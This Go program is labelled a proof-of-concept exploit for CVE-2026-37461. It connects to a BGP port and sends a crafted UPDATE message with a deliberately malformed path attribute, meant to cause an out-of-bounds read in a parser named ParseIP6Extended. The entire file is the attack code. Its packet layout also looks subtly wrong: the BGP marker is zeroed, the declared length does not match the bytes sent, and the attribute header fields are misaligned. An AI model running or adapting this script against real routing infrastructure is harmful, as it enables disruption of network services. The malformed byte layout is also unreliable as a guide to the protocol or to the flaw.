package main
import (
"bytes"
"encoding/binary"
"fmt"
"net"
)
// Conceptual PoC for CVE-2026-37461
// This simulates sending a crafted BGP UPDATE message to trigger OOB read in ParseIP6Extended
func main() {
target := "127.0.0.1:179"
conn, err := net.Dial("tcp", target)
if err != nil {
fmt.Println("Connection failed:", err)
return
}
defer conn.Close()
// BGP Marker (16 bytes) + Length (2 bytes) + Type (1 byte)
marker := make([]byte, 16)
length := make([]byte, 2)
binary.BigEndian.PutUint16(length, 40) // Minimal length to trigger parsing logic
typeByte := []byte{2} // UPDATE message
// Crafted Path Attributes to trigger ParseIP6Extended vulnerability
// Malformed attribute length designed to cause OOB read
malformedAttr := []byte{
0x00, 0x01, // Attribute Flags (Optional, Transitive)
0x14, // Attribute Type Code (e.g., MP_REACH_NLRI related context)
0x00, 0x05, // Length (Deliberately incorrect/malicious)
0x00, 0x02, // AFI IPv6
0x01, // SAFI Unicast
// Next hop data that triggers the OOB read
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00,
}
buffer := bytes.NewBuffer(marker)
buffer.Write(length)
buffer.Write(typeByte)
buffer.Write(malformedAttr)
_, err = conn.Write(buffer.Bytes())
if err != nil {
fmt.Println("Send failed:", err)
return
}
fmt.Println("Malicious BGP UPDATE sent successfully.")
}